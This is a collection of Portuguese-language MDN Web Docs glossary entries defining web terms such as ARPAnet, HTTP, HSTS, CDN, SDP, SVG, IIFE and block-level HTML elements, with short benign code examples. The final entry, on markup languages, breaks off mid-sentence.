{"title":"Arpanet - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Arpanet\n=======\n\nA **ARPAnet** (*Advanced Research Projects Agency Network*, em português, Rede da Agência de Pesquisas em Projetos Avançados) foi a primeira rede de computadores, construída em 1969 como um meio robusto para transmitir dados militares sigilosos e para interligar os departamentos de pesquisa por todo os Estados Unidos. ARPAnet primeiro executou NCP (*Network Control Protocol*, em português, Protocolo de Controle de Rede) e posteriormente a primeira versão do protocolo de internet ou o conjunto de protocolos TCP/IP (*Transmission Control Protocol/Internet Protocol*, em português, Protocolo de Controle de Transmissão/Protocolo de Internet), fazendo da ARPAnet uma parte proeminente da nascente Internet. ARPAnet foi fechado no início de 1990.\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* ARPANET na Wikipédia"}
{"title":"Mozilla Firefox - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Mozilla Firefox\n===============\n\nMozilla Firefox é um browser open-source cujo desenvolvimento é supervisionado pela Mozilla Corporation. Firefox roda em Windows, OS X, Linux, e Android.\n\nO primeiro lançamento foi em Novembro de 2004, Firefox é completamente customizável com temas, plug-ins, e complementos. Firefox usa o Gecko para renderizar páginas web, e implementa ambos padrões corrente e a vir da Web.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Site oficial do Mozilla Firefox\n### Referência técnica\n\n* Informações de documentação/desenvolvimento na MDN"}
{"title":"WHATWG - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"WHATWG\n======\n\nO GRUTTAH (WHATWG - sigla em inglês) (Grupo de Trabalho da Tecnologia de Aplicação Hipertexto da Web tradução livre de *Web Hypertext Application Working Group*) é uma organização que mantém e desenvolve o HTML e as APIs para aplicações Web. Antigos funcionários da Apple, Mozilla e Opera, estabeleceram o GRUTTAH em 2004.\n\n Os editores de especificações na GRUTTAH pesquisam e colhem feedbacks para a especificação de documentos. O grupo també tem um pequeno comitê de membros convidados e autorizados a sobrescrever ou substituir as especificações dos editores.\n Você também pode se juntar como contribuidor, assinando a lista de correspondência.\n\nDe acordo com o site deles, GRUTTAH é uma resposta ao lento progresso de padronização da Web da W3C's, especialmente o HTML, que teve seu desenvolvimento parado para a W3C concentrar no XHTML.\n\nO GRUTTAH mantém especificações para HTML, DOM e JavaScript.\n\nSaiba mais\n----------\n\n### Conhecimentos gerais\n\n* WHATWG na Wikipedia\n* Site Oficial da WHATWG.org"}
{"title":"HTTP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"HTTP\n====\n\nHTTP (HyperText Transfer Protocol) é o protocolo básico que habilita a transferência de arquivos na Web (en-US), normalmente entre um navegador e um servidor para que os humanos possam lê-los. A versão atual da especificação HTTP é chamada HTTP / 2.\n\nComo parte de um URI, o \"http: //\" é chamado de \"esquema\" e geralmente fica no início de um endereço, por exemplo em \"https://developer.mozilla.org\" para indicar ao navegador que solicite o documento usando o protocolo HTTP. O https neste caso refere-se à versão segura do protocolo HTTP, SSL (en-US) (também chamado TLS).\n\nO HTTP é textual (toda a comunicação é feita em texto simples) e sem estado (nenhuma comunicação está ciente das comunicações anteriores). Esta propriedade torna ideal para humanos ler documentos (sites) na web. No entanto, o HTTP também pode ser usado como base para os serviços da Web REST de servidor para servidor ou solicitações AJAX dentro de sites para torná-los mais dinâmicos.\n\nLeia mais\n---------\n\n* HTTP no MDN\n* HTTP na Wikipedia"}
{"title":"Palavra-chave - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Palavra-chave\n=============\n\nUma **palavra-chave** é a palavra ou a frase que descreve conteúdo. Palavras-chave on-line são utilizadas como pistas para buscadores ou como um conjunto de palavras que identifica e sintetiza o conteúdo dos sites.\n\nQuando você usa uma máquina de busca, utiliza palavras ou expressões para especificar o conteúdo que está procurando e, como resultado, a máquina de busca retorna endereços e páginas relevantes para os termos apresentados. Para resultados mais apurados, tente utilizar palavras mais específicas, a exemplo \"Blue Mustang GTO\" ao invés de simplesmente \"Mustang\". Páginas de internet também utilizam palavras na forma de meta tags (na seção `<head>` para descrever o conteúdo da página, assim os buscadores podem identificar e organizar de forma melhorada as páginas da internet.\n\nAprenda Mais\n------------\n\n### Conhecimento Geral\n\n* Keyword on Wikipedia\n* Motor de Busca no Wikipedia"}
{"title":"CDN - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"CDN\n===\n\nCDN é a sigla para (Content Delivery Network) ou seja, Rede de Fornecimento de Conteúdo na tradução livre. É um grupo de servidores espalhados em muitos locais. Esses servidores armazenam cópias duplicadas de dados para que os servidores possam atender às solicitações de dados com base nos quais servidores estão mais próximos dos respectivos usuários finais. CDNs deixa os servidores menos sobrecarregados quando possuem alto tráfego de dados."}
{"title":"Three js - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Three js\n========\n\nthree.js é um motor WebGL (en-US) baseado em JavaScript que pode executar jogos movidos com GPU ou outros aplicativos gráficos diretamente do navegador. A biblioteca three.js fornece várias funções e APIs para desenhar cenas 3D em seu navegador.\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* Three.js na Wikipédia\n* Site oficial do three.js"}
{"title":"SDP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"SDP\n===\n\n**SDP** (Session Description Protocol) é o padrão que descreve uma conexão ponto a ponto (en-US). SDP contém o codec (en-US), o endereço de origem e as informações de tempo de áudio e vídeo.\n\nAqui está uma mensagem SDP típica:\n```\n\nv=0\no=alice 2890844526 2890844526 IN IP4 host.anywhere.com\ns=\nc=IN IP4 host.anywhere.com\nt=0 0\nm=audio 49170 RTP/AVP 0\na=rtpmap:0 PCMU/8000\nm=video 51372 RTP/AVP 31\na=rtpmap:31 H261/90000\nm=video 53000 RTP/AVP 32\na=rtpmap:32 MPV/90000\n```\n\n\nO SDP nunca é usado sozinho, mas por protocolos como RTP (en-US) e RTSP (en-US). O SDP também é um componente do WebRTC, que usa o SDP como forma de descrever uma sessão.\n\nLeia mais\n---------\n\n### Conhecimentos gerais\n\n* Protocolos WebRTC (en-US)\n* Session Description Protocol no Wikipedia"}
{"title":"Apple Safari - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Apple Safari\n============\n\nSafari é um navegador Web desenvolvido pela Apple e fornecido com ambos Mac OS X e iOS. Baseia-se com o mecanismo de código aberto WebKit.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Safari na Wikipedia\n* Safari on apple.com\n### Informação técnica\n\n* The WebKit project\n* WebKit nightly build\n* Reporting a bug for Safari"}
{"title":"Pixel - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Pixel\n=====\n\nUm pixel é o menor elemento de um dispositivo de exibição como, por exemplo, um monitor.\n\nA resolução de exibição pode ser expressada utilizando-se pixels como unidade. Por exemplo, uma resolução de \"800x600\" pixels significa que podem ser exibidos 800 pixels na largura e 600 pixels na altura.\n\nAprenda mais\n------------\n\n### Referência técnica\n\n* Pixel na Wikipedia"}
{"title":"Character encoding - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Character encoding\n==================\n\nUma codificação define um mapeamento entre bytes e texto. Uma sequência de bytes permite diferentes interpretações textuais. Ao especificar uma codificação específica (como UTF-8), especificamos como a sequência de bytes deve ser interpretada.\n\nPor exemplo, em HTML, normalmente declaramos uma codificação de caracteres UTF-8, usando a seguinte linha:\n\n\n```html\n<meta charset=\"utf-8\" />\n```\n\n\nIsso garante que você possa usar caracteres de praticamente qualquer idioma humano em seu documento HTML e eles serão exibidos com de forma confiável.\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* Character encoding on W3C\n* Codificação de caracteres no Wikipedia"}
{"title":"Progressive web apps - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Progressive web apps\n====================\n\nProgressive web apps é um termo usado para descrever o estado moderno do desenvolvimento de aplicações web. Isso envolve pegar web sites/apps que aproveitam de todas as melhores partes da Web - como descobertas por mecanismos de busca, tornando-se linkaveis via URLs, e trabalho em vários fatores de formas - e sobrecarregá-los com APIs modernas (como Service Works e Push) e funcionalidades que conferem outros benefícios comumente atribuídos para apps nativos.\n\nEssas funcionalidades incluem possibilidade de instalação, funcionamento offline e ser de fácil sincronização e reconexão do usuário com o servidor.\n\nSaiba mais\n----------\n\n* O App Center (en-US) na MDN\n* Progressive web apps no Google Developers"}
{"title":"Objeto - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Objeto\n======\n\nObjeto refere-se a uma estrutura de dados contendo dados e instruções para se trabalhar com estes dados. Objetos algumas vezes se referem a coisas do mundo real, por exemplo um objeto de carro ou um mapa em um jogo de corrida. JavaScript, Java, C++, Python, e Ruby são exemplos de Linguagens orientadas à objeto (object-oriented programming).\n\nAprenda mais\n------------\n\n### Conhecimentos gerais\n\n* Object-oriented programming on Wikipedia\n* `Object` in the JavaScript reference\n* Object data structures in JavaScript"}
{"title":"Web Design Responsivo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Web Design Responsivo\n=====================\n\n*Web Design Responsivo* (**RWD em Inglês**) é um conceito de desenvolvimento Web focado em fazer a experiência e comportamento de websites mais otimizada para todos os dispositivos, desde o desktop até um dispositivo móvel.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Progressive Web Apps (en-US)\n* Responsive Web Design"}
{"title":"Identificador (Identifier) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Identificador (Identifier)\n==========================\n\nUma sequência de caracteres no código, que identifica uma **variável, função, ou propriedade**.\n\nEm JavaScript, identificadores podem conter somente caracteres alfanuméricos (ou \"$\" ou \"\\_\"), e não podem iniciar com um dígito. Um identificador difere de uma **string** no sentido de que uma string é informação, enquanto um identificador é parte do código. Em JavaScript, não existe uma forma de converter identificadores para strings, mas as vezes é possível converter strings em identificadores.\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* Identificador no Wikipédia"}
{"title":"HSTS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"HSTS\n====\n\n**O HTTP Strict Transport Security** permite que um site informe ao navegador que ele nunca deve carregar o site usando HTTP e deve converter automaticamente todas as tentativas de acessar o site usando HTTP para solicitações HTTPS. Consiste em um cabeçalho HTTP `Strict-Transport-Security`, enviado de volta pelo servidor com o recurso.\n\nEm outras palavras, ele diz ao navegador que apenas altere o protocolo de HTTP para HTTPS em uma url (e será mais seguro) e solicitará que o navegador faça isso para cada solicitação.\n\nLeia Mais\n---------\n\n* `Strict-Transport-Security`\n* Artigo OWASP: HTTP Strict Transport Security\n* Wikipedia: HTTP Strict Transport Security"}
{"title":"Cache - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Cache\n=====\n\nO **cache** (web cache ou HTTP cache) é uma forma de armazenar dados que foram recebidos por respostas HTTP temporariamente para que possam ser usados em requisições HTTP subsequentes enquanto as condições de seu uso forem satisfeitas.\n\nO **cache** ajuda a reduzir o tempo de resposta de uma página após a primeira requisição à mesma. Arquivos estáticos como o HTML e o CSS que não se modificam com frequência, scripts e imagens, ao serem salvos no cache, não precisam ser baixados do servidor novamente, sendo assim, só informações dinâmicas vão precisar ser requeridas. Lembrando que, qualquer modificação dos arquivos estáticos, o navegador do cliente terá de baixar novamente para receber as atualizações deste arquivo.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Web cache on Wikipedia"}
{"title":"Viewport - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Viewport\n========\n\nUma viewport representa uma área poligonal (normalmente retangular) que está sendo exibida no momento. Em termos de navegador web, se refere a parte do documento que é exibida na janela (ou tela, se o documento estiver exibido em modo tela-cheia). Conteúdos fora da viewport não são visíveis na janela/tela até que seja rolado para sua área de visualização.\n\nA porção da viewport que está visível no momento é chamada de **visual viewport** . Esta pode ser menor que a viewport de layout, assim é quando o usuário efetua uma pinçada/zoom. O **viewport** **de** **layout** permanece o mesmo, mas a visual viewport se torna menor.\n\n1. Conhecimentos gerais\n    1. Viewport na Wikipedia (em inglês)\n    2. O que é viewport ? em Stackoverflow (em português)\n    3. Como obter a largura e altura da viewport com Javascript (em inglês)\n    4. O conto de duas viewports (Quirksmode - em inglês)\n    5. VisualViewport API (en-US)\n2. MDN Web Docs Glossary\n    1. Visual Viewport (en-US)"}
{"title":"Reflow - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Reflow\n======\n\n**Reflow** acontece quando o browser deve processar e desenhar parte ou toda a página novamente, como após uma atualização em um site interativo.\n\nAprenda mais\n------------\n\n* Artigo do Google \"Minimizing browser reflow\""}
{"title":"Elemento - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Elemento\n========\n\nUm **elemento** é parte de uma página web. Em XML e HTML, um elemento pode conter um item de dados, um bloco de texto, uma imagem ou talvez nada. Um elemento típico inclui uma tag de abertura com alguns atributos, o conteúdo de texto incluído e uma tag de fechamento.\n\n![Example: in <p class=\"nice\">Hello world!</p>, '<p class=\"nice\">' is an opening tag, 'class=\"nice\"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.](/pt-BR/docs/Glossary/Element/anatomy-of-an-html-element.png)\n\nElementos e tags *não* são a mesma coisa. As tags começam ou terminam um elemento no código fonte, enquanto os elementos são parte do DOM, o modelo do documento para exibir a página no navegador.\n\nVeja também\n-----------\n\n* Começando com HTML\n* Definindo Custom Elements\n* A interface `Element` representando um elemento no DOM."}
{"title":"Árvore de Acessibilidade - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Árvore de Acessibilidade\n========================\n\nA **árvore de acessibilidade** contém informação relacionada à acessibilidade para a maioria dos elementos HTML.\n\nNavegadores convertem a marcação em uma representação interna chamada árvore do DOM. A árvore do DOM contém objetos representando todas as marcações de elementos, atributos e nós de texto. Os navegadores, então, criam uma árvore de acessibilidade baseada na árvore do DOM, a qual é usada por APIs específicas de plataforma para fornecer uma representação que possa ser entendida por tecnologias assistivas, como leitores de tela.\n\nHá quatro coisas em um objeto da árvore de acessibilidade:\n\n**nome**\n\nComo podemos nos referir a esse objeto? Por exemplo, um link com o texto \"Leia mais\" terá \"Leia mais\" como seu atributo *name* (saiba mais como os nomes são computados em Accessible Name and Description Computation spec).\n\n**descrição**\n\nComo podemos descrever esse objeto se quisermos fornecer mais detalhes além do nome? A descrição de uma tabela pode explicar que tipo de informação ela contém.\n\n**função**\n\nQue tipo de objeto é esse? Por exemplo, é um botão, uma barra de navegação ou uma lista de items?\n\n**estado**\n\nTem um estado? Os exemplos incluem caixas de seleção marcadas ou desmarcadas, e recolhido ou expandido para o elemento `<summary>`.\n\nAdicionalmente, a árvore de acessibilidade frequentemente contém informação sobre o que pode ser feito com um elemento: um link pode ser seguido, uma entrada de texto pode ser digitada, entre outras coisas.\n\nEnquanto continua em forma de rascunho na Web Incubator Community Group, o Modelo de Objeto de Acessibilidade (**Accessibility Object Model,** AOM), tem a intenção de incubar APIs que facilitam expressar a semântica de acessibilidade e potencialmente permitir acesso de leitura à árvore de acessibilidade computada.\n\n1. Glossário\n    1. Acessibilidade\n    2. ARIA"}
{"title":"SVG - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"SVG\n===\n\n*Scalable Vector Graphics* (**SVG**) é um formato de imagem vetorial 2D baseado em uma sintaxe XML.\n\nA W3C iniciou o trabalho no SVG no final dos anos 1990, mas o SVG só se tornou popular quando o Internet Explorer (en-US) 9 foi lançado com suporte a SVG. Atualmente a maioria dos navegadores suportam SVG.\n\nBaseado na sintaxe de XML, SVG pode ser estilizado com CSS e apresentar interatividade usando JavaScript. Em HTML5 é possível embutir diretamente tags SVG em um documento HTML.\n\nSendo um formato para gráficos vetoriais, imagens SVG podem ser redimensionadas infinitamente, tendo um valor inestimável em design responsivo (en-US), já que você pode criar elementos de interface e gráficos que se comportam bem em qualquer tamanho de tela. SVG também traz um conjunto de funcionalidades úteis, como clipping, máscaras, filtros e animações.\n\nExemplo\n-------\n\nAbaixo você pode conferir a renderização de dois círculos de tamanhos e cores diferentes utilizando SVG.\n\n\n```xml\n<svg width=\"100\" height=\"300\">\n   <circle cx=\"50\" cy=\"50\" r=\"40\" stroke=\"blue\" stroke-width=\"10\" fill=\"red\" />\n   <circle cx=\"50\" cy=\"150\" r=\"20\" stroke=\"green\" stroke-width=\"10\" fill=\"yellow\" />\n</svg>\n```\n\n\nRepare que `cx` e `cy` são para definir as coordenadas x e y do círculo, `r` é para definir o raio do círculo, o preenchimento é definido com `fill`, a largura do contorno é definida com `stroke-width` e a cor do contorno é definida com `stroke`. Lembrando que a largura e altura do `svg` em si são definidas no próprio elemento.\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* SVG na Wikipedia\n### Aprendendo SVG\n\n* W3.org's SVG Primer (em inglês)\n### Informação técnica\n\n* Documentação sobre SVG na MDN\n* Especificação SVG mais recente (em inglês)"}
{"title":"Metadata - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Metadata\n========\n\nOs **metadados** são — em sua definição mais simples — dados que descrevem dados. Por exemplo, um documento HTML é um dado, mas o HTML, também, pode conter metadados em seu elemento `<head>` que descreve o documento — por exemplo, quem o escreveu e seu resumo.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* metadata na Wikipedia\n### Metadados HTML\n\n* O elelmento `<meta>` no MDN"}
{"title":"AJAX - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"AJAX\n====\n\nAJAX (Asynchronous JavaScript e XML) é uma prática de programação da combinação de HTML, CSS, JavaScript, o DOM, e o `XMLHttpRequest` object para a construção de páginas web mais complexas.\n\nO que o AJAX permite é que você faça apenas atualizações em partes de uma página web ao invés de recarregá-la inteira novamente. O AJAX também permite que você trabalhe de forma assíncrona, o que significa que o seu código continua rodando enquanto uma parte da sua página está em processo de carregamento (em comparação com síncrono, que irá bloquear a execução do seu código até que toda a sua página web seja recarregada).\n\nCom websites interativos e padrões web modernos, o AJAX está sendo substituído gradualmente por funcões presentes em frameworks JavaScript e o padrão oficial Fetch API.\n\nSaiba mais\n----------\n\n### Conhecimentos gerais\n\n* AJAX na Wikipedia\n### Informações técnicas\n\n* O objeto `XMLHttpRequest` .\n* A documentação AJAX no MDN\n* Fetch API no MDN"}
{"title":"Degradação graciosa - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Degradação graciosa\n===================\n\n**Degradação graciosa** é uma filosofia de design centrada na tentativa de criar um site/aplicativo moderno que funcione nos navegadores mais recentes, mas recorre a uma experiência que, embora não tão boa, ainda oferece conteúdo e funcionalidade essenciais para os navegadores antigos.\n\nPolyfills podem ser usados para criar com JavaScript recursos ausentes, mas alternativas aceitáveis para recursos como estilo e layout devem ser fornecidas sempre que possível, por exemplo, usando a cascata CSS ou o comportamento de HTML substituto. Alguns bons exemplos podem ser encontrados em Handling common HTML and CSS problems (en-US).\n\n É uma técnica útil que permite aos desenvolvedores da Web se concentrarem no desenvolvimento dos melhores sites possíveis, uma vez que esses sites são acessados por vários user-agents desconhecidos.\n Progressive enhancement (en-US) está relacionado, mas é diferente - geralmente visto como na direção oposta à degradação graciosa. Na realidade, ambas as abordagens são válidas e geralmente podem se complementar.\n\n1. Graceful degradation on Wikipedia\n2. Handling common HTML and CSS problems (en-US)\n3. Implementing feature detection (en-US)\n4. MDN Web Docs Glossary\n    1. Graceful degradation\n    2. Polyfill\n    3. Progressive enhancement (en-US)"}
{"title":"Nome de cabeçalho proibido - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Nome de cabeçalho proibido\n==========================\n\nUm *nome de cabeçalho proibido* é o nome de qualquer cabeçalho HTTP que não pode ser modificado programaticamente; especificamente, um nome de cabeçalho de **solicitação** HTTP (em contraste com um Forbidden response header name).\n\nModificar esses cabeçalhos é proibido porque o agente do usuário retém o controle total sobre eles. Nomes começando com `Sec-` são reservados para criar novos cabeçalhos seguros de APIs usando Fetch que concedem aos desenvolvedores controle sobre cabeçalhos, como `XMLHttpRequest`.\n\nNomes de cabeçalho proibidos começam com `Proxy-`ou `Sec-`, ou são um dos seguintes nomes:\n\n* `Accept-Charset`\n* `Accept-Encoding`\n* `Access-Control-Request-Headers`\n* `Access-Control-Request-Method`\n* `Connection`\n* `Content-Length`\n* `Cookie`\n* `Cookie2`\n* `Date`\n* `DNT`\n* `Expect`\n* `Host`\n* `Keep-Alive`\n* `Origin`\n* `Proxy-`\n* `Sec-`\n* `Referer`\n* `TE`\n* `Trailer`\n* `Transfer-Encoding`\n* `Upgrade`\n* `Via`\n\n**Nota:** O cabeçalho `User-Agent` não é mais proibido, de acordo com a especificação - consulte a lista de nomes de cabeçalhos proibidos (isso foi implementado no Firefox 43) - agora ele pode ser definido em um objeto e busca de Headers (en-US), ou via XHR setRequestHeader()."}
{"title":"Node.js - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Node.js\n=======\n\nNode.js é um ambiente de execução multi-plataforma em JavaScript que permite aos desenvolvedores produzirem aplicações para rede e server-side usando o JavaScript.\n\nAprenda mais\n------------\n\n### Conhecimentos gerais\n\n* Node.js no Wikipédia\n* Site do Node.js\n### Referência técnica\n\n* Documentação da API\n* Tutoriais"}
{"title":"IIFE - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"IIFE\n====\n\n**IIFE** (Immediately Invoked Function Expression) é uma função em JavaScript que é executada assim que definida.\n\nÉ um Design Pattern também conhecido como Self-Executing Anonymous Function e contém duas partes principais. A primeira é a função anônima cujo escopo léxico é encapsulado entre parênteses. Isso previne o acesso externo às variáveis declaradas na IIFE, bem como evita que estas variáveis locais poluam o escopo global.\n\nA segunda parte corresponde à criação da expressão `()`, por meio da qual o interpretador JavaScript avaliará e executará a função.\n\nExemplos\n--------\n\nA função se torna uma expressão que é imediatamente executada. A variável definida dentro da expressão não pode ser acessada fora de seu escopo.\n\n\n```js\n(function () {\n  var nome = \"Felipe\";\n})();\n// A variável nome não é acessível fora do escopo da expressão\nnome; // gerará o erro \"Uncaught ReferenceError: nome is not defined\"\n```\n\n\nAtribuir uma IIFE a uma variável não armazenará a função em si, mas o **resultado da função.**\n\n\n```js\nvar result = (function () {\n  var nome = \"Felipe\";\n  return nome;\n})();\n// Imediatamente gera a saída:\nresult; // \"Felipe\"\n```\n\nAprenda Mais\n------------\n\n### Aprenda mais sobre IFFE\n\n* Ben Alman's blog post defining IIFEs\n* Quick example (at the end of the \"Functions\" section, right before \"Custom objects\")\n### Conhecimentos Gerais\n\n* IIFE on Wikipedia"}
{"title":"Chrome - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Chrome\n======\n\nEm um navegador, o chrome é qualquer aspecto visível do navegador aparte das páginas web (ex., barra de ferramentas, menus, abas). Não deve ser confundido com o Google Chrome (en-US) navegador.\n\nAprenda mais\n------------\n\n* Browser and GUI Chrome"}
{"title":"URI - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"URI\n===\n\nA **URI** (*Uniform Resource Identifier*, ou *Identificador Uniforme de Recursos*) é uma string (sequência de caracteres) que se refere a um recurso. A mais comum é a URL, que identifica o recurso localizando-o na Web. URNs (en-US), em contraste, refere-se a um recurso pelo nome, em dado namespace. Ex: o ISBN de um livro.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* URI na Wikipedia\n* RFC 3986 on URI\n* data URIs (en-US)\n* www vs non-www (en-US)"}
{"title":"Abstração - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Abstração\n=========\n\nAbstração em programação de computadores é uma forma de reduzir a complexidade e tornar o projeto e a implementação mais eficientes em sistemas complexos de software. Ela esconde a complexidade técnica de um sistema por trás de uma APIs mais simples.\n\nSaiba mais\n----------\n\n### Conhecimentos gerais\n\n* Abstração na Wikipédia"}
{"title":"Booleano - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Booleano\n========\n\nUm **booleano**, em ciência da computação, é um tipo de dado lógico que pode ter apenas um de dois valores possíveis: `verdadeiro` ou `falso`. Por exemplo, em JavaScript, condicionais booleanas são usadas para decidir quais trechos do código serão executados ou repetidas.\n```\n\nif (condicao booleana) {\n   // codigo a executar se o booleano for TRUE\n}\n\nif (condicao booleana) {\n  console.log(\"booleano é verdadeiro\");\n} else {\n  console.log(\"booleano é falso\");\n}\n\n/* JavaScript for loop */\nfor (variavel de controle; condicao booleana; contador) {\n  // codigo a se repetir se o booleano for TRUE\n}\n\nfor (var i=0; i < 4; i++) {\n  console.log(\"codigo a executar se a condicao for verdadeira, ou seja até 'i' atingir o valor de 4 \");\n}\n```\n\nVeja mais\n---------\n\n### Referências externas\n\n* Boolean on Wikipedia (em inglês)\n* Booleano na Wikipedia\n### Referência\n\n* O objeto global JavaScript: `Boolean`"}
{"title":"Elementos block-level - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Elementos block-level\n=====================\n\nElementos HTML **(Linguagem de marcação de hipertexto)** historicamente foram categorizados como \"nível de bloco\" ou elementos \"em linha\" (en-US). Um elemento em nível de bloco ocupa todo o espaço de seu elemento pai (container), criando assim um \"bloco\". Este artigo ajuda a explicar o que isso significa.\n\nNavegadores normalmente mostram o elemento em nível de bloco com uma nova linha antes e depois do elemento. O exemplo a seguir demonstra a influência desse elemento em nível de bloco:\n\nElementos em nível de bloco\n---------------------------\n\n### HTML\n\n\n```html\n<p>\n  Este parágrafo é um elemento block-level; seu plano de fundo foi colorido para\n  exibir o elemento pai do parágrafo.\n</p>\n```\n\n### CSS\n\n\n```css\np {\n  background-color: #8abb55;\n}\n```\n\nUtilização\n----------\n\n* Elementos nível de bloco podem aparecer apenas dentro do elemento `<body>`\nNível-de-bloco vs. em-linha\n---------------------------\n\nExistem algumas diferenças importantes entre os elementos no nível do bloco e os elementos em linha:\n\nModelo de conteúdo\n\nGeralmente, os elementos no nível de bloco podem conter elementos em linha e, às vezes, outros elementos no nível de bloco. Inerente a essa distinção estrutural está a idéia de que elementos de bloco criam estruturas \"maiores\" que elementos em linha.\n\nFormatação padrão\n\nPor padrão, os elementos no nível de bloco começam em novas linhas, mas, os elementos em linha, podem iniciar em qualquer lugar.\n\nA distinção entre elementos em nível de bloco e elementos em linha foi usada nas especificações HTML até 4.01. No HTML5, essa distinção binária é substituída por um conjunto mais complexo de categorias de conteúdo (en-US). Enquanto a categoria \"em linha\" corresponde aproximadamente à categoria de conteúdo de frases (en-US), a categoria \"nível de bloco\" não corresponde diretamente a nenhuma categoria de conteúdo HTML5. Mas, os elementos \"nível de bloco\" e \"embutido\" combinados, correspondem ao conteúdo de fluxo (en-US), em HTML5. Existem também categorias adicionais, por exemplo conteúdo interativo.\n\nElementos\n---------\n\nA seguir, é apresentada uma lista completa de todos os elementos no nível de bloco HTML (embora \"nível de bloco\" não esteja tecnicamente definido para elementos novos no HTML5).\n\n`<address>`\n\nInformação de contato.\n\n`<article>`\n\nConteúdo do artigo.\n\n`<aside>`\n\nConteúdo lateral.\n\n`<blockquote>`\n\nCitação longa (\"bloco\").\n\n`<details>`\n\nWidget de divulgação.\n\n`<dialog>`\n\nCaixa de diálogo.\n\n`<dd>`\n\nDescreve um termo em uma lista de descrição.\n\n`<div>`\n\nDivisão de conteúdo.\n\n`<dl>`\n\nLista de descrição.\n\n`<fieldset>`\n\nRótulo de conjunto de campos.\n\n`<figcaption>`\n\nLegenda da figura.\n\n`<figure>`\n\nGroups media content with a caption (see `<figcaption>`).\n\n`<footer>`\n\nSection or page footer.\n\n`<form>` (en-US)\n\nInput form.\n\n`<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US)\n\nHeading levels 1-6.\n\n`<header>`\n\nSection or page header.\n\n`<hgroup>`\n\nGroups header information.\n\n`<hr>`\n\nHorizontal rule (dividing line).\n\n`<li>`\n\nList item.\n\n`<main>`\n\nContains the central content unique to this document.\n\n`<nav>`\n\nContains navigation links.\n\n`<ol>`\n\nOrdered list.\n\n`<p>`\n\nParagraph.\n\n`<pre>`\n\nPreformatted text.\n\n`<section>`\n\nSection of a web page.\n\n`<table>`\n\nTable.\n\n`<tfoot>`\n\nTable footer.\n\n`<ul>`\n\nUnordered list.\n\n`<video>`\n\nVideo player.\n\n### Veja também\n\n* Elementos Emlinha"}
{"title":"marcação - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"marcação\n========\n\n Uma linguagem de marcação é aquela projetada para definir e apresentar textos.\n HTML (Linguagem de Marcação de Hipertexto), é um exemplo de linguagem\n de marcação.\n\n Em um arquivo de texto, como um arquivo HTML, os elementos são *marcados* utilizando tags, que explica o\n objetivo dessa parte do conteúdo.\n\nTipos de linguagem de marcação\n------------------------------\n\n**Marcação de Apresentação** (em inglês: *Presentational Markup*):\n\n Tradicionalmente utilizado pelos pelos processadores de texto, são marcações incorporadas no texto que produzem o efeito\n WYSIWYG (\"O que você vê é o que você obtém\"). Sem a necessidade de manipulação direta de código,\n geralmente essas marcações são feitas para serem ocultas dos usuários humanos, autores ou editores. De maneira mais apropriada, esses sistemas usam a\n marcação procedimental e/ou descritiva \"por debaixo dos panos\", mas as convertem para apresentar pro usuário de maneira renderizada.\n\n\n**Marcação Procedimental** (em inglês: *Procedural Markup*):\n\n Fornece instruções para os programas processarem o texto. Exemplos conhecidos incluem troff, TeX e PostScript. Espera-se que o processador execute o texto\n do começo ao fim, seguindo as instruções encontradas. O texto com essa marcação geralmente é editado com a marcação visível e manipulada diretamente pelo\n autor. Os sistemas procedimentais mais populares geralmente incluem construções de programação, e macros ou sub-rotinas que são comumente definidas para que\n conjuntos complexos de instruções possam ser chamados por um nome simples (e talvez alguns parâmetros). Isso é muito mais rápido, menos propenso a erros e\n fácil de manutenção do que repor as mesmas instruções ou instruções semelhantes em muitos lugares.\n\n\n**Marcação Descritiva** (em inglês: *Descriptive Markup*):\n\n Usada especificamente para rotular partes do documento como elas são, e não como devem ser processadas. 